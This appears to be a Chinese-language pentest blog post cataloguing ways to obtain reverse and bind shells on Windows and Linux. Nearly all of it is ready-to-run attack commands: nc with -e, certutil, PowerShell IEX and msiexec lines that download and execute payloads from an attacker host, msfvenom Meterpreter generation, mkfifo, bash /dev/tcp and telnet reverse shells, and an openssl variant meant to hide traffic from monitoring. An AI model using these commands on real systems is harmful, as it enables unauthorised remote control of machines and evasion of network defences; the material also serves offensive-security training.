内网渗透——反弹Shell的各种姿势
最后更新时间:
反弹Shell
正向shell
控制端主动发起连接请求去连接被控制端,中网网络链路不存在阻碍
适用场景:控制端与被控端之间是互通无阻的
阻碍的来源一方面是受害机如果在内网当中,没有独立的公网ip导致无法访问;另一方面正向从公网连接会受到防火墙安全策略的限制
正反shell的区分:
- 谁是主动方(正向是攻击机,反向是受害机)
- 受害机对哪种shell的监管检测更严格(正向)
- 受害机在内网中攻击机就无法通过指定ip和端口正向申请shell
反向Shell
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包
Windows 反弹 Shell
nc.exe
正向Shell
被控端:
1
nc -lvvp 6666 -e cmd.exe // -e shell环境重定向至6666端口
控制端:
1
nc 192.168.1.62 6666
原理:
被控端将cmd.exe重定向到本地的6666端口, 控制端主动连接受害机的6666端口, 即可获得shell
反向shell
控制端:
1
nc -lvvp 6666
被控端:
1
nc -e cmd.exe 192.168.1.227 6666
被控端将cmd.exe重定向到控制单的6666端口,控制单只需要监听本地的6666端口,即可获得shell
Rundll32.exe
与Windows操作系统相关它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中
https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/rundll32
通过Metasploit的SMB Delivery模块发起Rundll32攻击
1
2
3
4
5use exploit/windows/smb/smb_delivery
set srvhost msf服务ip
set lhost smf服务ip
set lport 4444
exploite -j执行payload之后将下列payload在目标机中执行,这个攻击依赖于SMB服务,需要目标机开启才行
1
rundll32.exe \\172.16.80.136\AeEcdf\test.dll,0
我这儿不知道为啥一直显示无法加载指定模块
Regsvr32.exe
Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。
Regsvr32.exe安装在Windows XP和Windows后续版本的
%systemroot%\System32
文件夹中语法: Regsvr32.exe [/s] [/u] [/n] [/i[:cmdline]]
/u - 注销服务器
/i - 调用DllInstall传递一个可选的[cmdline]; 当它与/u一起使用是, 它调用dll来写在
/n - 不要调用DLLRegisterServer; 此选项必须与/i一起使用
/s - 沉默; 不显示消息框
通过msf的
web delivery
模块启动Regsvr321
2
3
4
5
6use exploit/multi/script/web_delivery
set srvhost msfip
set lhost msfip
set lport 6666
set paylaod windows/meterpreter/reverse_tcp
set target Regsvr32该模块默认为python编写的exp,我们要改为想要执行的对应脚本语言写的payload
1 |
|
Certuil.exe
Certuil.exe
是作为证书服务的一部分安装的命令行程序, 我们可以用这个工具在计算机中执行恶意的exe文件以获得meterpreter会话1
2
3
4
5
6
7msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.80.136 lport=1234 -f exe > shell.exe
python3 -m http.server 8000
certutil.exe -urlcache -splite -f http://172.16.80.136/shell.exe shell.exe & shell.exe
certutil.exe -urlcache -splite -f http://172.16.80.136:8000/shell.exe shell.exe delete这里的利用就是通过certutil.exe下载指定ip中的恶意shell文件并执行,执行完后清除
这台xp虚拟机太老,装软件服务也卡。。。下次还是得上靶机
Powershell.exe
通过PowerShell发动Powercat攻击
这个PoweCat需要有免杀能力
攻击方先下载并启动一个服务器
1
2
3git clone https:/github.com/besimorhino/powercat.git
python3 -m http.server 8000之后监听端口等待接收反弹shell
1
nc -lvvp 6666
靶机执行
1
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.92.128:8000/powercat.ps1');powercat -c 192.168.92.128 -p 6666 -e cmd"
Msiexec.exe
Windows OS 安装有一个Windows安装引擎,MSI包使用msiexe.exe来解释安装
首先使用msf生成恶意的msi文件,并放到服务器上
1
2
3msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.92.128 lport=6666 -f msi > shell.msi
python3 -m http.server 8000接着受害机执行msiexe下载指定恶意文件,触发反弹shell
1
msiexec.exe /q /i http://ip/shell.msi
Metasploit.exe
依然是通过msf生成一个恶意exe
参数总结:
-p
Payload to use. Specify ‘-‘ or STDIN for customLHOST
接收反弹shell的ipLPORT
接收反弹shell的端口-f
Output format
Linux 反弹 shell
NC正向Shell
与Windows是一样的,不同点就是shell执行环境这里是bash
通常情况下被控端:
1
nc -lvvp 6666 -e /bin/sh
控制端
1
nc ip 6666
但是在某些版本的nc处于安全考虑是没有-e参数的,这种情况下如何利用呢?
1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.128 6666 > /tmp/f
原理:mkfifo命令首先创建了一个管道,cat将管道里面的内容输出传递给/bin/sh,-i创建一个shell环境,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路
/tmp/f 管道 => sh => nc => /tmp/f
另一种方式为
1
mknod backpipe p; nc ip port 0<backpipe | /bin/bash 1>backpipe 2>backpipe
mknod 创建字符设备文件和块设备文件
backpipe将其中的输入重定向到nc的标准输入当中,并将结果输出通过管道传给bash环境并执行,标准输出和错误输出结果再回传给backpipe
Bash
被控端:
1
bash -i &>/dev/tcp/ip/port <&1
原理:
首先
bash -i > /dev/tcp/ip/port
将被控端交互式shell的输出结果重定向到控制端,接着控制端bash -i < /deb/tcp/ip/port
将控制端的输出重定向到被控端的bash环境中执行。最后将其整合在一起,我们需要的是被控端的bash执行,控制端能输入和显示输出不适用bash的方式
1
2exec 5<>/dev/tcp/ip/6666,cat<&5 | while read line; do $line 2>&5>&5;
done<>
表示可读可写,这里也就是先建立一个tcp通过并重定向至5,将5中的内容输出给while循环,循环依次接收数据并执行,最终再将输出重定向回tcp通道Telnet
攻击机:
1
nc -lvvp 6666
目标机:
1
2rm -f a && mknod a p && telnet ip 6666 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet 192.168.92.128 6666 0<a | /bin/bash 1>aOpenssl
openssl反弹443端口,厂商一般都有流量监控设备,直接明文传输会被审查到
在靶机上生成密钥文件
1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
在远程攻击机上启动监视器
1
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
在目标机上反弹shell
1
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 |openssl s_client -quiet -connect ip:6666 > /tmp/s;rm /tmp/s